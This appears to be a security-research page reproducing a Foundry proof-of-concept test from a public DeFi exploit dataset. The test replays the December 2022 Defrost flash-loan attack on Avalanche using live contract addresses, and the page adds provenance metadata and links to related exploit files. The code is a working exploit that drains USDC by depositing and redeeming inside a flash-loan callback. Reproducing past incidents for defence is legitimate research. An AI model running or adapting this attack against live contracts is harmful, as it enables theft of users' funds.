Public reproduction file
src/test/2022-12/Defrost_exp.sol
Public reproduction file for dataset entry - Defrost.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/PeckShieldAlert/status/16062760202768916509// @TX10// https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d12interface LSWUSDC {13 function maxFlashLoan(14 address token15 ) external view returns (uint256);16 function flashFee(address token, uint256 amount) external view returns (uint256);17 function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;18 function deposit(uint256 amount, address to) external returns (uint256);19 function redeem(uint256 shares, address receiver, address owner) external;20}22contract ContractTest is Test {23 IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);24 LSWUSDC LSW = LSWUSDC(0xfF152e21C5A511c478ED23D1b89Bb9391bE6de96);25 Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);26 uint256 flashLoanAmount;27 uint256 flashLoanFee;28 uint256 depositAmount;30 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);32 function setUp() public {33 cheats.createSelectFork("avalanche", 24_003_940);34 }36 function testExploit() public {37 flashLoanAmount = LSW.maxFlashLoan(address(USDC));38 flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);39 Pair.swap(0, flashLoanAmount + flashLoanFee, address(this), new bytes(1));41 emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);42 }44 function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {45 LSW.flashLoan(address(this), address(USDC), flashLoanAmount, new bytes(1));46 LSW.redeem(depositAmount, address(this), address(this));47 USDC.transfer(address(Pair), (flashLoanAmount + flashLoanFee) * 1000 / 997 + 1000);48 }50 function onFlashLoan(51 address initiator,52 address token,53 uint256 amount,54 uint256 fee,55 bytes calldata data56 ) external returns (bytes32) {57 USDC.approve(address(LSW), type(uint256).max);58 depositAmount = LSW.deposit(flashLoanAmount, address(this));59 return keccak256("ERC3156FlashBorrower.onFlashLoan");60 }61}Analysis
Dataset entry
Public Foundry test for “- Defrost” (2022-12-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Defrost
- Path
- src/test/2022-12/Defrost_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e58e3c0d61ace13dba065780a99b742b68d1e0fd
- Language
- Solidity
- Size
- 62 lines
- Date
- 2022-12-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/Defrost_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e58e3c0d61ace13dba065780a99b742b68d1e0fd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.